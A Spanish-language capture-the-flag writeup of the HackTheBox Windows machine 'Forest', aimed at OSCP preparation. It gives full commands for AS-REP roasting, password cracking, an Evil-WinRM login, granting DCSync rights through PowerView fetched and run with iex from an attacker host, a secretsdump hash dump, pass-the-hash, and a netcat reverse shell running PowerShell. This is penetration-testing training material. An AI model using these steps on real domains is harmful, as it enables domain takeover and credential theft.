Saltar al contenido

HackTheBox – Forest – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Forest de Hack the Box. Es una máquina Windows, de nivel fácil que, si bien no posee ninguna vulnerabilidad explotable, se puede vulnerar debido a diversos fallos de configuración de los servicios.

Enumeración

Comienzo escaneado los 65535 puertos existentes en el protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- -n --open --min-rate 5000 10.10.10.161

En la máquina hay veinticuatro puertos abiertos. Escaneo los catorce primeros puertos que he encontrado (ya que el resto son puertos dinámicos del sistema) para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 -sV -sC 10.10.10.161
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-28 19:32 CET
Nmap scan report for 10.10.10.161
Host is up (0.14s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-01-28 18:55:05Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3h02m02s, deviation: 4h37m10s, median: 22m01s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2022-01-28T10:55:18-08:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-01-28T18:55:16
|_  start_date: 2022-01-28T18:43:31

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.24 seconds

Se trata de una máquina Windows Server 2016 cuyo nombre de dominio es htb.local.

Podría enumerar los servicios uno a uno en busca de un vector de ataque pero, teniendo en cuenta que es una máquina y el nombre que tiene, e ir directamente a por el Directorio Activo (AD).

RPC

Accedo al RCP, utilizando rpcclient como usuario NULL y listo los usuarios del dominio.

rpcclient -U "" -N 10.10.10.161
rpcclient $> enumdomusers

Como se puede ver en la imagen anterior, he conseguido una gran lista de usuarios. Los guardo en formato diccionario ya que pueden ser útiles para un ataque por fuerza bruta.

Continuo enumerando los grupos del dominio (esta información me será de utilidad mas tarde).

rpcclient $> enumdomgroups

Con toda la información obtenida, lo mas probable es que haya que hacer un ataque de ASREPRoast(info aquí y aquí).

Explotación

En primer lugar, ya que crackmapexec admite el protocolo ldap, voy a ver si algun usuario es vulnerable a ASREPRoast (info aquí y aquí)

crackmapexec ldap 10.10.10.161 -u users_rpc -p '' --asreproast ASREPROAST --kdcHost 10.10.10.161

Como se puede ver en la imagen anterior, he obtenido el hash del usuario svc-alfresco, perteneciente al dominio htb.local, aunque realmente no se trata de un hash si no de un TGT cifrado

Copio el TGT cifrado y lo rompo por fuerza bruta con John The Ripper y el diccionario rockyou.txt, obteniendo las credencialessvc-alfresco:s3rvice.

cat hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Compruebo, con crackmapexec, que estas credenciales son válidas para conectarme de forma remota utilizando WinRM.

crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice

Como las credenciales son válidas, las utilizo para obtener una shell de WinRM por medio de la herramienta Evil-WinRM.

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

Escalada de Privilegios

Para encontrar rápidamente una forma de escalar privilegios, voy a utilizar la herramienta BloodHound (info aquí). La verdad es que no conocía esta herramienta y, después de probarla, creo que se ha convertido en mi herramienta de referencia para un pentest con Directorio Activo (siempre que no importe la cantidad de logs generados).

Comienzo ejecutando una consola de neo4j.

sudo neo4j console

Después inicio la herramienta y me autentico. Inicialmente las credenciales de la herramienta son neo4j:neo4j pero me obliga a cambiarlas después del primer inicio.

bloodhound

Ahora tengo que cargar un binario de BloodHound para recopilar la información del Directorio Activo. Me descargo el ejecutable SharpHound.exe (aquí) y lo subo a la máquina víctima por medio de un servidor http en python.

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.9:8000/SharpHound.exe','SharpHound.exe')"

Una vez hecho esto, simplemente ejecuto el binario y espero a que termine.

./SharpHound.exe

SharpHound genera dos ficheros. Un .zip y un .bin.

Me descargo el fichero .zip a mi máquina y lo cargo en BloodHound.

download 20220131084346_BloodHound.zip

Despliego el menú de la derecha de BloodHound, abro la pestaña de Analysis, selecciono la opción Find AS-REP Roastable Users (DontReqPreAuth) y me aparecerá el usuario SVC-ALFRESCO@HTB.LOCAL.

Hago click derecho sobre SVC-ALFRESCO@HTB.LOCAL y selecciono la opción Mark User as Owned. Esto hará que aparezca una calavera sobre el usuario.

Una vez hecho esto, nuevamente en la pestaña Analysis del menú desplegable de la derecha, selecciono la opción Shortest Paths to Domain Admins from Owned Principals (aunque la opción Find Shorter Paths to Domain Admin me habría dado el mismo resultado) para obtener la ruta mas corta para apoderarme del Controlador de Domino (DC).

La ruta pasa por realizar un ataque DCsync el cual, mediante un usuario del dominio, me permite realizar una solicitud para obtener los hash NTLM de contraseña de cualquier usuario del dominio.

La ruta explicada sería la siguiente:

  • El usuario SVC-ALFRESCO es miembro de SERVICE ACCOUNTS que a su vez es miembro de PRIVILEGED IT ACCOUNTS y este es miembro de ACCOUNTS OPERATORS (ser miembro de este grupo me permite crear cuentas de usuarios).
  • ACCOUNTS OPERATORS tiene capacidad de tipo GenericAll sobre el grupo EXCHANGE WINDOWS PERMISSIONS.
  • Los miembros del grupo EXCHANGE WINDOWS PERMISSIONS tienen permisos WriteDacl (permisos de escritura del tipo Discretionary Access Control List) en el dominio htb.local.

Voy a buscar mas información sobre WriteDacl. Para ello hago click derecho sobre su conexión/arista y luego hago click en Help y por último en la pestaña Info.

Me dice que los miembros del grupo EXCHANGE WINDOWS PERMISSIONS tienen permisos para modificar el DACL en el dominio. Me dirijo a la pestaña Abuse Info y me dice que si tengo el permiso WriteDacl puedo asignarme privilegios DcSync y esto me permite enviar una solicitud por secretdump que me dará los hashes NTLM de los usuarios de dominio.

En la aplicación indica una forma de hacerlo con mimikatz, lo que no sería válido para OSCP, pero se puede hacer también con PowerView.ps1

En primer lugar, creo el usuario evil:evil123 y lo añado al dominio.

net user evil evil123 /add /domain
net user evil

Añado al usuario al grupo Exchange Windows Permisssions.

net group "Exchange Windows Permissions" evil /add
net user evil

Ejecuto este binario de PowerView.ps1, necesario para poder ejecutar el objeto Add-DomainObjectAcl, y asigno el permiso DCsync al usuario evil.

iex(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/PowerView.ps1')
$SecPassword = ConvertTo-SecureString 'evil123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\evil', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity evil -Rights DCSync

Y para terminar «dumpeo» (vuelco) los hashes de los usuarios del dominio con impacket-secretsdump.

impacket-secretsdump htb.local/evil@10.10.10.161

Como se ve en la imagen, he obtenido el hash de administrador: htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::.

Con el hash LM y Evil-WinRM, consigo una consola de WinRM con la máquina víctima como usuario Administrator.

evil-winrm -i 10.10.10.161 -u Administrator -H '32693b11e6aa90eb43d32c72a07ceea6'

OSCP Shell

Aunque haya conseguido una consola de WinRM como administrador, este tipo de consola no es válida para OSCP ya que exigen que los hashes se muestren en una shell reversa de cmd o powershell pero no dicen nada de que no puedas obtener esa consola al final de haber comprometido la máquina…

Para conseguir una shell reversa consola válida para OSCP, en primer lugar pongo un netcat a la escucha por el puerto 7897.

rlwrap nc -nlvp

Subo un binario de netcat a la máquina víctima y lo lanzo contra mi máquina atacante, indicándole que ejecute powershell.

upload nc64.exe
./nc64.exe 10.10.14.9 7897 -e powershell.exe

Flags

user.txt

La flag de usuario la encuentro en la ruta C:\Users\svc-alfresco\Desktop\user.txt.

root.txt

La flag de administrador la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enActive DirectoryCTFHTBOSCPwindows